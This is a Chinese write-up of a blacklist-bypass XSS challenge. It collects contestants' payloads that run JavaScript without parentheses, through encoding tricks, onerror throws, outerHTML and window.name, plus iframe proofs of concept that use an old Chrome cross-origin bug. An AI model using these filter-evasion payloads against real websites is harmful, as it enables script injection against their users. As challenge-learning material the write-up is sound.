XSS挑戰第一期Writeup
0x00 起因
這期 XSS 挑戰的起因是在閱讀“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”過後,在其中發現了一個很有趣的話題。那就是在圓括號被過濾的情況下,如何去執行javascript。在文中筆者給出來了這樣的解決方案:
#!html
<a onmouseover="javascript:window.onerror=alert;throw 1>
這是一個透過丟擲異常的方式來執行 alert()的方案。那麼,還有沒有別的辦法可以讓我們在沒有圓括號的情況下執行Javascript呢?眾神們經常說,沒有具體環境的討論是沒有意義的。所以我就花了一點時間,編寫了一個基於黑名單的XSS防禦程式碼。也就有了我們這次的挑戰。
0x01 設定
為了增加一點挑戰的難度,根據一些較常見的XSS防禦程式碼,對本次挑戰進行了下列設定:
過濾:
(,),&,\,<,>,',%28,%29,空格+on,alert,data,src,eval,unescape
innerHTML,document,appendChild,createElement,write,String,setTimeout
當然,為了保證更多人可以參與進來,我並沒有對最前面給出的答案進行過濾。
0x02 結果
在挑戰開始不到三個小時的時間裡,gainover拿下了這次挑戰的First Blood。
"onblur=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9
巧妙的使用定義變數的方式,重新拆裝了URL編碼分別為:%28和%29的左右圓括號,進而繞過了我們的限制。隨後又放棄了定義變數的方式,而直接選擇了透過連線字串的方式 來縮減payload的長度。
"onblur=location="javascript:aler"+"t%2"+"81%2"+"9
緊隨其後,又有第二位挑戰成功者px1624,使用了和gainonver類似的方式,繞過了我們的過濾規則。當然,從上面的例子當中我們不難看出,此處的href是可以省略來簡短長度的。
"onblur=location.href="JAvascript:ale"+"rt%2"+"81%2"+"9
之後我們又從 gainver 收到了另一種繞過方式。
"onblur=top.onerror=top["ale"+"rt"];throw"1
看上去和我們預留的答案大相徑庭,但是也有它有趣的一部分。因為提交者在這裡並沒有使用較長的window而是使用了top,當然作為其它選項也可以使用parent或self。但是很明顯top是最短的。如果不考慮觸發難易性,也許我們可以把第一個onblur換成oncut,把第二個onerror換成onblur來進一步節約兩個位元組。(當然,我並不認為在任何情況下,短的就是好的。)在Chrome下先在input裡面按一次ctrl+x,在透過點選位址列或其它tab即可觸發。
正在思考這個top的問題時,gainover又寄來了一種更有趣的繞過方式。
"onblur=outerHTML=URL//#<img/src=1 onerror=alert(1)>
可能有些人看完之後會覺得是不是變長了呢?實際上#後面的部分是不會被算在QueryString裡面的。所以這裡的實際長度只有23。提交者巧妙的使用outerHTML的方式將整個URL都寫入到了DOM。但是在這裡不得不提的是,瀏覽器差異問題。雖然在Internet Explorer(IE8 下測試)和Chrome(最新版本)當中,這種方法都可以直接把URL寫到DOM中,但是Firefox會將URL編碼過的內容寫入到DOM中,導致無法完成HTML注入。所以在實際的操作過程中,如果條件允許的話,可能需要我們呼叫一些可以對URL進行解碼的JS函式,先對URL進行一次解碼再寫入到DOM中,進而提高payload的通用性。
隨後gainover又再一次透過空格來代替註釋符(//),為自己贏得了更短的程式碼。
"onblur=outerHTML=URL #<img/src=1 onerror=alert(1)>
來自fangfei yang的答案:
"oncut=top.onerror%3Dtop["al"+"ert"];throw"1
來自Chu的答案:
#!html
<iframe src="http://xss.z7ys.com/?xss="onblur="location=window.name&submit=搜尋" name="javascript:alert(1)"></iframe>
這位挑戰者透過window.name實現了iframe的跨域,並完成了挑戰。類似的方法還有URL.hash window.postMessage等等。在後續出來類似的答案時將不在重複寫iframe的部分。
來自 Dun 比較有趣的答案: 
"onfocus=new%A1%A1window["al"+"ert"]
在這裡出現了一個小插曲,也是我的一個失誤。因為兩臺伺服器當中一臺使用了utf-8編碼,而另外一臺又使用了GB2312編碼。這位挑戰者就在編碼為GB2312的頁面用了全形空 格(%A1%A1)。當然作為這個的替代品,還有%0B%0B。
之後Dun又使用了Chrome上一個版本的跨域漏洞,再次縮短了自己的payload長度。(因為chrome跨域漏洞的細節在很多地方都可以找到,我就不在這裡造輪子了。)下面是他的POC:
#!html
<script> var dd=false; document.domain=""; </script>
<iframe id="xss"src="//xss.z7ys.com./?xss=%22onblur%3Ddomain%3D%22%22+&submit=%CB%D1%CB%F7"onload="dd=true;"width="100%"height="100%"onmouseover="xssalert();"></iframe>
<script>
function xssalert(){
if(dd){
var xssiframe=document.getElementById("xss").contentWindow;
xssiframe.document.write("<script>alert(1)<\/script>");
}};
</script>
SqlCode的答案:
"oncut=_=window;_.onerror=_["al"+"ert"];throw[1]
Laix的答案:
"oncut=location="javascript:aler"+"t%"+"281%"+"29
Galaxy的答案:
"onblur=javascript:window.onblur=al%00ert;throw"1
該挑戰者使用繞過 IE8/IE9 filter 的一個技巧(%00),完成了挑戰。
e3rp4y的答案:
"onfocus=window.onblur=top["aler"%2b"t"];throw"1
來自0x00有趣的答案:
()&xss="onclick=a=location.search;location.href="javascript:a"+"lert"+a[1]+a[2]//
把()作為引數放在問號的後面再用 location.search 呼叫了出來。
"onclick=a=location;b=a.hash;a.href="javascript:a"+"lert"+b[1]+b[2]//
"onclick=a=location;a.href="javascript:/*"+a.hash//#*/alert()
"onclick="location.href=window.name
來自 litdg 的答案:
"/onblur=window.onerror=window["aler"+"t"];throw+1//
來自過客的答案:
"onclick="location=top.a.name
最後附上本次挑戰的第一名獲得者/fd 的一些答案:
<iframe name="javascript:alert(1)" src=//133.52.240.75/index.php?xss="autofocus/onfocus="location=self.name></iframe>
透過iframe的self.name實現了跨域。
#!html
<iframe height=500 src=//xss.z7ys.com/index.php?xss=%22ondrop%3Ddomain%3D%22com></iframe>
<script>
document.domain = 'com';
setInterval(function() {
frames[0].alert && frames[0].alert(1);
},100)
</script>
chrome跨域漏洞+拖拽劫持(只附上了重要部分程式碼,效果見上圖)。一個很用心的 POC。當我們試圖把硬幣投入下面的黑框時觸發。
#!html
<iframe height=500 src=//xss.z7ys.com./index.php?xss=%22oncut%3Ddomain%3D%22></iframe>
<script>
document.domain = '';
setInterval(function() {
frames[0].alert && frames[0].alert(1);
},100)
</script>
最後用舊版chrome的跨域漏洞(測試於Chromium 31.0.1650.8)以15個字元的成績終結了比賽。
0x03 寫在最後
因為個人經驗和知識儲備的不足,可能在挑戰的設定和評判標準上面沒能做的很完善。而且整個挑戰也似乎從如何繞過圓括號的限制慢慢的演變成了 The short talk of XSS。也許有人會覺得這是造輪子吧。但是我相信在參與的過程當中,大家也和我一樣或多或少都學到了一些什麼。其實,在編寫這篇文章的同時,我和我的小夥伴們(Laix,煙花兔子,Line)花費心思又搞了一個自認為比較有趣的XSS挑戰。暫時就將它稱作為XSS挑戰第二期吧。希望到時候大家也能來玩玩!最後,謝謝/fd,LinE,瞌睡龍等人的烏雲幣贊助。
提供該程式PHP原始碼供各位下載,自己搭建測試:index.php.zip
相關文章
- xss挑戰賽writeup2020-08-19
- 無聲杯 xss 挑戰賽 writeup2020-08-19
- XSS挑戰第二期 Writeup2020-08-19
- 第五季極客大挑戰writeup2020-08-19
- 極客大挑戰2023-pwn-nc_pwntools WriteUp2024-09-28
- XSS挑戰之旅(通過看程式碼解題)2020-05-15
- 楚穎i2024polarctf夏季個人挑戰賽WriteUp2024-06-01
- 【極客大挑戰2023】- Re -點選就送的逆向題 WriteUp2024-10-04
- 三個白帽挑戰之我是李雷雷我在尋找韓梅梅系列3——writeup2020-08-19
- 挑戰密室2018-08-09
- 挑戰系統 / 進入區域挑戰怪物2024-09-13
- SSCTF Writeup2020-08-19
- JCTF Writeup2020-08-19
- BCTF Writeup2020-08-19
- AI的道德挑戰2018-05-29AI
- 長安“戰疫”網路安全衛士守護賽writeup2022-01-08
- XSS Attacks - Exploiting XSS Filter2020-08-19Filter
- HCTF writeup(web)2020-08-19Web
- wargame narnia writeup2020-08-19GAM
- 太湖杯writeup2020-11-22
- ARTS 挑戰(第三週)2019-04-15
- ARTS 挑戰(第二週)2019-03-31
- [譯] 挑戰 Flutter 之 Twitter2018-08-12Flutter
- Wanafly挑戰賽25 A因子2018-09-29
- [譯] 挑戰 Flutter 之 WhatsApp2018-08-13FlutterAPP
- 守衛者的挑戰2024-05-27
- 每天都在挑戰極限...2024-04-18
- 獨立開發挑戰2020-06-01
- 牛客挑戰賽582022-03-21
- Alictf2014 Writeup2020-08-19TF2
- Wargama-leviathan Writeup2020-08-19GAM
- 0ctf writeup2020-08-19
- 360hackgame writeup2020-08-19GAM
- 迎接人生更大的挑戰2018-10-14
- 從今天開始挑戰 LeetCode2018-06-22LeetCode
- tcpv4 checksum 挑戰下2018-08-08TCP
- 需求審查的挑戰 - modernanalyst2019-11-08NaN
- [極客大挑戰 2019]Knife2024-11-12